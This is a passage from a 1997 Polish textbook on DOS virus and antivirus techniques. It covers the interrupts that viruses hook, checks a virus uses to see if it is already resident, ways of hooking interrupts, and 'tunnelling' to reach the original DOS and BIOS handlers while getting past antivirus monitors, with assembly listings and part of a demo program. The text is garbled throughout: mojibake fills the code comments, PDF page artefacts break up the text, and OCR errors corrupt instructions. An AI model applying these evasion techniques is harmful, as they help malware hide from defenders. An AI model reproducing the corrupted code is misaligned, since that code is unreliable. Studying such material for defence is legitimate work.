sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej 
podczas infekcji 
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego 
przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie 
innych kopii wirusa o obecności w systemie. 
> 14h - 

Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. 

Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na 
przekłamywaniu odczytów7 i zapisów złącza. 
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje 
systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie 
obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe 
IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez 
przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana 
przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie 
umożliwia zastosowanie techniki hardware-level stealth. 
> 16h - Przerwanie programowe BIOS od

powiedzialne za obsługę klawiatury. 

Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii 
wirusa o obecności w pamięci. 
> 17h - 

Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć 

rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych 
znaków. 
> 1Ch - 

Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej 

background image

przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę 
przerwania IRQ 0). 
> 21h - Przerwan

ie programowe DOS odpowiedzialne m.in. za obsługę dysków 

logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części 
systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. 
Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, 
uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest 
potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji 
często służą innym kopiom wirusa do sprawdzania jego 
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej 
wymieniona operacja wykonywana jest niejako przy okazji). 
> 24h - 

Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W 

wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. 
Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć 
operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia 
jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa 
przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS 
sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one 
następująco: 
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji 
MOV   AL,3                ; sygnalizuj b│╣d programowi (czyli wirusowi) 
IRET                      ; powrˇt 2 obs│ugi przerwania 
> 25h - 

Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków 

logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego 
odczytywania BOOT-se-

ktorów. 

> 26h - 

Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach 

logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą 
je konie trojańskie do destrukcji. 
> 27h - 

Przerwanie programowe DOS. Umożliwia zakończenie programu z 

pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, 
nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji 
(31/21) m

ożna napisać prostego wirusa rezydentnego. 

> 28h - 

Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w 

tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do 
infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus 
DOS-IDLE. 
> 2Fh - 

Przerwanie multipleksowane systemu. Ze względu na różnorodność 

wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 
13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję 
plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji 
(1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), 
w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku. 
> 30h/31h - 

W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych 

przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, 
gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu 
systemu D

OS, ale może być podmieniony przez program antywirusowy). Adres 

background image

wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji 
DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie 
kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające 
większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje 
m.in. wirus DIR-2). 
> 40h - 

Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości 

BIOS-

ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas 

inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 
40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z 
pominięciem przerwania 13h. 
> 76h - Przerwanie s

przętowe IRQ 14, generowane przez sterownik dysku twardego 

przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu 
odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego 
lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do 
ukrywania się w systemie. 
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy 
przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo 
jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby 
przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez 
siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy- 
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to 
numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za 
pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej 
procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie 
jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, 
czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć 
powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już 
zainstalo

wany, ma najczęściej postać: 

MOV   AX.HASúO            ; najczŕťciej w AX podaje siŕ jak╣ť nie typow╣ funkcjŕ 
INT   xx                  ; xx - numer przerwania (najczŕťciej 21h) 
CMP   REJ,ODPOWIEDĆ       ; czy wirus ju┐ zainstalowany (rej - najczŕťciej AX)  
JE Ju┐Zainstalowany       ; skok, gdy zainstalowany wirus zwrˇci│ odpowiedč 
...........               ; zainstaluj siŕ 
Ju┐Zainstalowany:         ; powrˇŠ do nosiciela 
 
Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście 
przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy 
nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. 
Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z 
używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może 
kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli 
jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne 
działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu 
użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących 
stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez 
programy uruchomieniowe. Zwykle 

po wykryciu, iż adres procedury obsługi któregoś z 

background image

tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi 
przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku 
twardym. Jeszcze inne niebezpieczeństwo 
może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność 
swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z 
niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 
10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W 
przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy 
korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie 
odwetowe. 
Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne 
przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na 
urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do 
programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do 
dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między 
systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie 
pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do 
wykr

ycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku. 

 
6.2. Wykorzystanie funkcji DOS 
Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu 
funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze: 
                          ; Przejmowanie przerwa˝ za pomoce DOS-a 
MOV  AL, NUMER            ; podaj w AL numer przerwania  
MOV  AH, 35h              ; w AH numer funkcji, weč adres starej procedury                
                          ; obs│ugi przerwania  
INT   21h                 ; wywo│aj funkcjŕ DOS po wywo│aniu funkcji  
MOV   [StarySEG],ES       ; w ES:BX pobrany adres poprzedniej procedury  
MOV   [StaryOFS],BX       ; obs│ugi, ktˇry najczŕťciej zapamiŕtuje siŕ 
MOV  AH, 25h              ; w AH numer funkcji, ustaw now╣ procedurŕ obs│ugi 
                          ; przerwania  
MOV   AL,NUMER            ; w AL numer przerwania 
MOV   DS, SEG Nowa        ; DS:DX zawiera adres do nowej procedury  
MOV   DX, OFFSET Nowa     ; obs│ugi przerwania  
INT   21h                 ; wywo│aj funkcjŕ DOS 
 
Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze 
względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, 
stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę 
innych, omówionych poniżej. 
 
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań 
Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie 
przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu 
poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z 

background image

poprzedniego punktu: 
: Przejmowanie przerwa˝ bezpoťrednio w tablicy przerwa˝  
MOV   BL, NUMER               ; w BL numer zmienianego przerwania  
XOR   BH,BH                   ; BX=BL  
SHL   BX,l                    ; pomnˇ┐ je przez 4 (2 razy przesu˝ w lewo)  
SHL   BX,l                    ; jeszcze raz przesu˝ w lewo 
XOR   AX,AX                   ; zeruj rejestr AX  
MOV   DS,AX                   ;  i z jego pomoc╣ zeruj rejestr segmentu DS 
 

 

                 ; DS:BX wskazuje na pozycjŕ w tablicy przerwa˝,  

                              ; gdzie zapisany jest adres obs│ugi przerwania 
LDS DX,DS:[BX]                ; pobierz segment i offset przerwania (do  
                              ; zapamiŕtania) 
MOV [StarySEG],DS             ; zachowaj segment 
MOV [StaryOFS],DX             ; zachowaj offset 
MOV DS,AX                     ; ponownie DS=0 
CLI                           ; bezpiecznie zmieniaŠ adres obs│ugi przerwania  
                              ; przy wy│╣czonych przerwaniach  
MOV DS:[BXJ,OFFSET NOWA       ; bezpoťrednie wartoťci wskazujŕ 
                              ; na adres nowej  
MOV DS:[BX+2], SEG NOWE       ; procedury obs│ugi przerwania  
STI                           ; teraz mo┐na ju┐ w│╣czyŠ przerwania 
 
Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci 
absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż 
jednego przerwania za 

pomocą tej samej procedury (należy zmieniać tylko wartość BL). 

 
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie 
czystych wejść do systemu (ang. tunnelling

Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez 
naj

prymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali 

innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy 
przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego 
łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem. 
Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania 
pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne 
są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. 
wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub 
nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim 
wykryciem przez monitor antywirusowy Najlepiej, g

dy wywoływana przez wirusa 

procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to 
po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie. 
 
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh) 
Ta meto

da tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do 

background image

przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest 
oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu 
DOS). Wykorzystu

je ona fakt, iż system DOS posiada w swym pierwszym bloku MCB 

(oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu 
przerwań 21h i 2Fh), która została przedstawiona poniżej. 
Sekwencja kodu występująca w DOS od 5.0 wzwyż 
DOS używa HMA 

DOS nie używa HMA 

Adres 

Kod 

Znaczenie 

Kod   

Znaczenie 

SEG:OFS 

90 90 

NOP NOP 

EB 03 

JMP $+3 

SEG:OFS+2  E8 xxxx 

CALL [IP+xxxx]  E8 xxxx 

CALL [IP+xxxx] 

 

SEG:OFS+5 

2E FF 2E yyyy  JMP FAR 

CS:[yyyy] 

2E FF 2E 

JMP FAR 
CS:[yyyy] 

 
Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie 
OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 
6.22 (np. DOS 7.0, występujący z systemem Windows 95). 
W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh 
(dla wersji 7.00). 
Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie 
powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, 
korzystając z następującej sekwencji: 
MOV AH,30H               ; funkcja - weč wersjŕ systemu  
INT 21h                  ; wywo│aj funkcjŕ 
XCHG AL,AH               ; zabieg kosmetyczny - aby pˇčniejsze  

 

                       

                         ; porˇwnanie by│o bardziej przejrzyste  
MOV BX,109EH             ; offset dla wersji 5.00 - 6.22 
CMP AX,0500h             ; czy wersja  
JB NIEDZIAúA             ; jeťli tak, to tunneling nie dzia│a 
CMP AX,0622h             ; czy wersja wiŕksza od 6.22 ?  
JB Wer5_6_22 
MOV BX,OFB2h             ; nowsze wersje DOS - inny offset 
Wer5_6_22: 
PUSH BX                  ; zachowaj offset na stosie 
MOV AH,52h               ; funkcja - podaj adres do LL  
INT 21h                  ; wywo│aj funkcjŕ 
POP BX                   ; teraz ES:BX wskazuje na sekwencjŕ z tabeli 
CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ?  
JE JEST                  ; jest cz໩ sekwencji 
CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ?  
JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a 
JEST: 
CMP BYTE PTR ES:[BX+2],OE8h; czy druga cz໩ sekwencji ?  
JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a 
CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia cz໩ sekwencji ?  

background image

JNE NIEDZIAúA            ; nie ma sekwencji - tuneling nie dzia│a 
CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta cz໩ sekwencji ?  
JNE NIEDZIAúA            ; nie ma sekwencji - tunelling nie dzia│a 
                         ; znaleziona pe│na sekwencja  
MOV BX,WORD PTR ES:[BX+8] 
LES BX,DWORD PTR ES:[BX]      ; ES:BX wskazuje na oryginalny adres int 21h 
NIEDZIALA: 
 
Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w 
programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh. 
 
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing

Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać 
tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem 
krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. 
przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie 
tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy 
znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie 
zawartości odpowiedniego rejestru lub ich grupy. 
Dla 

przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub 

funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h 
(weź informację o parametrach dysku). 
 
6.4.3. Tuneling rekursywny (ang. recursive tunneling

Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia 
oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. 
Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej 
przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, 
dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha 
obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji: 
Element_l 
.........                ; pierwszy element │a˝cucha 
Skok_do_Elementu_2 
.........                ; pami੠wykorzystywana przez inne programy 
Element_2 .........      ; drugi element │a˝cucha 
Skok_do_Elementu_3 
.........                ; pami੠wykorzystywana przez inne programy 
Element_N .........      ; ostatni element │a˝cucha - poszukiwana cz໩ systemu 
Powrˇt_Z_Elementu_N      ; powrˇt poprzez rozkaz IRET lub 
                         ; RETF 2 do elementu  poprzedniego lub bezpoťrednio 
                         ; do wywo│uj╣cego programu 
 
Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić 
do następującej sekwencji: 

background image

mov ah,52h                       ; pobierz do ES:BX adres struktury  
int 21h                          ;  LL (lista list)  
mov bx,es 
xor ax,ax                        ; ustaw adres DS:SI na adres 
mov ds,ax                        ; przerwania 21h wskazywanego 
mov si,21h*4                     ; przez tablice przerwa˝ 
xchg ax,di                       ; DI=licznik sprawdzanych bajtow=0 
Adres 32: 
Ids si,ds:[si]                   ; pobierz adres 
or   bx,bx                       ; czy koniec szukania ?  
jz   WSegmencieDOS               ; TAK - powrˇt DS:SI-adres 
mov ax,ds                        ; \ czy jest to segment DOS ?  
cmp ax, bx                       ; / 
jne NastepnyBajt                 ; TAK - znaleziony adres  
xor bx,bx                        ; BX=0 oznacza koniec szukania 
NastepnyBajt: 
lodsw                            ; weč 2 bajty bŕd╣ce czŕťci╣ aktualnej procedury 
dec si                           ; sprawdzamy co bajt 
cmp al,9Ah                       ; czy jest to CALL FAR PTR ?  
je   Adres32                     ; TAK - weč kolejny adres 
cmp al,0EAh                      ; czy jest to JMP FAR PTR ?  
je   Adres32                     ; TAK - weč kolejny adres 
cmp ax,0FF2Eh                    ; czy jest to JMP FAR CS:DWORD ?  
jne NieJMP_DWORD 
cmp byte ptr [si+l],al           ; czy dalsz╣ cz໩ rozkazu JMP FAR CS:DWORD ?  
jne NieJMP_DWORD 
mov si,ds:[si+2]                 ; pobierz offset do danych dla skoku jmp short 
Adres32                          ; TAK - weč kolejny adres 
NieJMP_DWORD: 
inc DI                           ; licznik sprawdzanych bajtˇw  
and DI,4095                      ; je┐eli sprawdzono ju┐ 4095 bajtˇw,  
je Recursive21_Exit              ; to ko˝cz, bo tuneling nie dzia│a 
jmp NastepnyBajt                 ; weč kolejny bajt 
WSegmencieDOS: 
............                     ; adres zosta│ znaleziony (jest w DS:SI) 
RecursNieDzia│a: 
............                     ; adres nie zosta│ znaleziony 
 
 
6.4.4. Trik2F/13 
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych 
dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania 

background image

nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja 
o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: 
zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę 
wykorzystuje IO.SYS przy starcie sy 
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do 
dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej 
dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja 
pokazuje, jak z

a pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on 

kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie: 
; Trik 2F/13  
MOV AH,13h             ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX adres  
 

 

 

    ; procedury obs│ugi (mo┐na pomin╣Š gdy┐ za 

 

 

           ; chwilŕ i tak zostanie przywrˇcona w│aťciwa  

                       ; procedura obs│ugi). ES:BX adres procedury, ktˇra system 
                       ; bŕdzie ustawia│ jako procedurŕ obs│ugi przerwania nr 
13h 
 

 

 

    ; przy ewentualnym zawieszeniu systemu lub po wywo│aniu 

 

 

          ; int 19h (tak┐e mo┐na pomin╣Š)  

INT 2Fh                ; wywo│aj funkcjŕ 13h 
 

 

          ; po wywo│aniu ES:BX zwraca adres procedury, ktˇra system 

 

 

          ; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli 

 

 

 

    ; zwykle bŕdzie to oryginalna procedura obs│ugi przerwania  

13h MOV SEG_13,ES      ; trzeba zapamiŕtaŠ adres oryginalnej procedury obs│ugi  
MOV OFS_13,BX          ;  intl3h, znajduj╣cej siŕ w ES:BX  
MOV AH,13h             ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX i ES:BX to wartoťci 
 

                 ; z poprzedniego wywo│ania funkcji (13/2F)  

INT 2Fh                ; wywo│aj funkcjŕ 13h 
 
Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z 
wykorzystaniem różnych technik tunelingowych- 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                     TUNEL v1.0, Autor : Adam Blaszczyk 1997                ; 
;                                                                            ; 
;   Program demonstruje uzycie kilku odmian tunelingu                        ; 
;   do znalezienia oryginalnych adresow przerwan                             ; 
;   - 13h (trik 2F/13, tryb krokowy)                                         ; 
;   - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny)       ; 
;   - 2Fh (tablica stalych adresow)                                          ; 
;                                                                            ; 

background image

; Kompilacja :                                                               ; 
;             TASM     TUNEL.ASM                                             ; 
;             TLINK /t TUNEL.OBJ                                             ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 

NUL = 00h                               ; \ 
LF  = 0Ah                               ;  - stale potrzebne do deklaracji 
CR  = 0Dh                               ; /  lancuchow napisowych 
 
ON  = 001h                              ; \ stale potrzebne do obslugi 
OFF = 002h                              ; / przerwania 1 
 
PROG segment                            ; segment kodu i danych 
 
ORG 100h                                ; program jest typu COM 
 
Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG 
 
CodeStart:                              ; tu zaczyna sie program 
 
           lea  si,TeCopyRight          ; \ pokaz info o programie 
           Call Print                   ; / 
 
           Call GetOriginal13           ; pokaz oryginalny adres 13h 
 
           Call GetOriginal21           ; pokaz oryginalny adres 21h 
 
           Call GetOriginal2F           ; pokaz oryginalny adres 21h 
 
           mov  ax, 4C00h               ; \ koncz program i powroc do DOSa 
           int  21h                     ; / 
 
GetOriginal13  proc near                ; procedura pobiera oryginalny adres 
                                        ; Int 13h (na dwa sposoby) i wyswietla 
                                        ; go 
           push si                      ; zachowaj zmieniany rejestr 
 
           lea  si,TeGet13              ; \ pokaz info o przerwaniu 13h 
           Call Print                   ; / 
 

background image

           Call Trik2F13                ; wez adres 13h 
                                        ; metoda Trik 2F/13 
           Call ShowAddr                ; pokaz adres 13h 
 
           Call Tracing13               ; wez adres 13h 
                                        ; metoda tracingu 
           Call ShowAddr                ; pokaz adres 13h 
 
           pop  si                      ; przywroc zmieniany rejestr 
 
           ret                          ; powrot z procedury 
 
GetOriginal13  endp 
 
Trik2F13 proc near                      ; procedura pobiera oryginalny adres 
                                        ; Int 13h wykorzystujac funkcje 13h 
                                        ; przerwania 2Fh 
                                        ; (wewnetrzna funkcja DOS) 
           push ds                      ; \ 
           push es                      ;  \ 
           push ax                      ;   \ zachowaj zmieniane rejestry 
           push bx                      ;   / 
           push dx                      ;  / 
           push si                      ; / 
 
           lea  si,TeTrik2F13           ; \ pokaz info o metodzie 
           Call Print                   ; / Trik 2F/13h 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ah,13h                  ; \ 
           int  2Fh                     ;  \ 
                                        ;   \ 
           mov  cs:ShowSeg,es           ;    \ trik 2F/13 
           mov  cs:ShowOFS,bx           ;    / 
                                        ;   / 
           mov  ah,13h                  ;  / 
           int  2Fh                     ; / 
 

background image

           pop  si                      ; \ 
           pop  dx                      ;  \ 
           pop  bx                      ;   \ przywroc zmieniane rejestry 
           pop  ax                      ;   / 
           pop  es                      ;  / 
           pop  ds                      ; / 
 
           ret                          ; powrot z procedury 
 
Trik2F13 endp 
 
Tracing13 proc near                     ; procedura popbiera oryginalny 
                                        ; adres Int 13h, wykorzystujac 
                                        ; metode tracingu 
 
           push ds                      ; \ 
           push es                      ;  \ 
           push ax                      ;   \ zachowaj zmieniane rejestry 
           push bx                      ;    / 
           push cx                      ;   / 
           push dx                      ;  / 
           push si                      ; / 
 
           mov  ShowError, offset TeTracingFail 
                                        ; ewentualny komunikat o bledzie 
 
           lea  si,TeTracing13          ; \ wyswietl info o metodzie 
           Call Print                   ; / 
 
           xor  ax,ax                   ; \ zeruj zmienne pomocnicze 
           mov  ShowSeg,ax              ;  / 
           mov  ShowOfs,ax              ; / 
 
           mov  ah,8                    ; \   pobierz info o twardym dysku 
           mov  dl,80h                  ;  \  i zachowaj na pozniej wartosci 
           int  13h                     ;   / rejestrow CX i DX; beda one 
           mov  MagicNum1,cx            ;  /  potrzebne do sprawdzenia czy 
           mov  MagicNum2,dx            ; /   tracer jest juz w dobrym kodzie 
 
           mov  ax,3513h                ; \   wez adres przerwania Int 13h, 
           int  21h                     ;  \  zeby mozna je bylo przetrace'owac, 

background image

           mov  CallFarSeg,es           ;  /  trzeba je emulowac poprzez 
           mov  CallFarOfs,bx           ; /   pushf/call dword ptr Ofs:Seg 
 
           mov  TraceMode,OFF           ; flaga potrzebna tracerowi 
 
           mov  ax,3501h                ; \    pobierz adres obslugi 
           int  21h                     ;  \   przerwania krokowego Int 1 
           mov  of1,bx                  ;   \ 
           mov  se1,es                  ;    \ i ustaw nowa procedure jego 
                                        ;    - obslugi, sprawdzajaca, czy 
           mov  dx,offset Tracer_13     ;   /  funkcja zostala juz wykonana 
           mov  ax,2501h                ;  /   przez BIOS 
           int  21h                     ; / 
 
           pushf                        ; \    wlacz tryb krokowy 
           pop ax                       ;  \   procesora 
           or ah,1                      ;   \ 
           push ax                      ;  / 
           popf                         ; / 
 
           mov  dl,80h                  ; parametr funkcji 08/int 13h = HD0 
           mov  ah,08h                  ; numer funkcji BIOS 
           pushf                        ; czesc emulacji Int 13 
           mov  TraceMode,ON            ; wlacz flage tracera 
           Call dword ptr cs:IntAsFarCall 
                                        ; emuluj int 13 
           mov  TraceMode,OFF           ; wylacz flage tracera 
 
           pushf                        ; \    wylacz tryb krokowy 
           pop  ax                      ;  \   procesora 
           and  ah,0FEH                 ;   \ 
           push ax                      ;  / 
           popf                         ; / 
 
           lds  dx,dword ptr cs:of1     ; \  przywroc stary adres przerwania 
           mov  ax,2501h                ;  / krokowego Int 1 
           int  21h                     ; / 
 
           pop  si                      ; \ 
           pop  dx                      ;  \ 
           pop  cx                      ;   \ przywroc zmieniane rejestry 

background image

           pop  bx                      ;    / 
           pop  ax                      ;   / 
           pop  es                      ;  / 
           pop  ds                      ; / 
 
           ret                          ; powrot z procedury 
 
Tracing13 endp 
 
Tracer_13  proc far 
 
           push bp                      ; zachowaj zmieniany rejestr 
 
           mov  bp,sp                   ; BP wskazuje na stos 
                                        ; [bp+00]  BP 
                                        ; [bp+02]  IP 
                                        ; [bp+04]  CS 
                                        ; [bp+06]  FLAGS 
 
           push ax                      ; zachowaj zmieniany rejestr 
 
           cmp  cs:TraceMode,ON         ; czy wlaczony tracer ? 
           jne  Tracer_13Exit           ; jesli nie, to wyskocz z procedury 
 
           mov  ax,[bp+04]              ; AX=CS image 
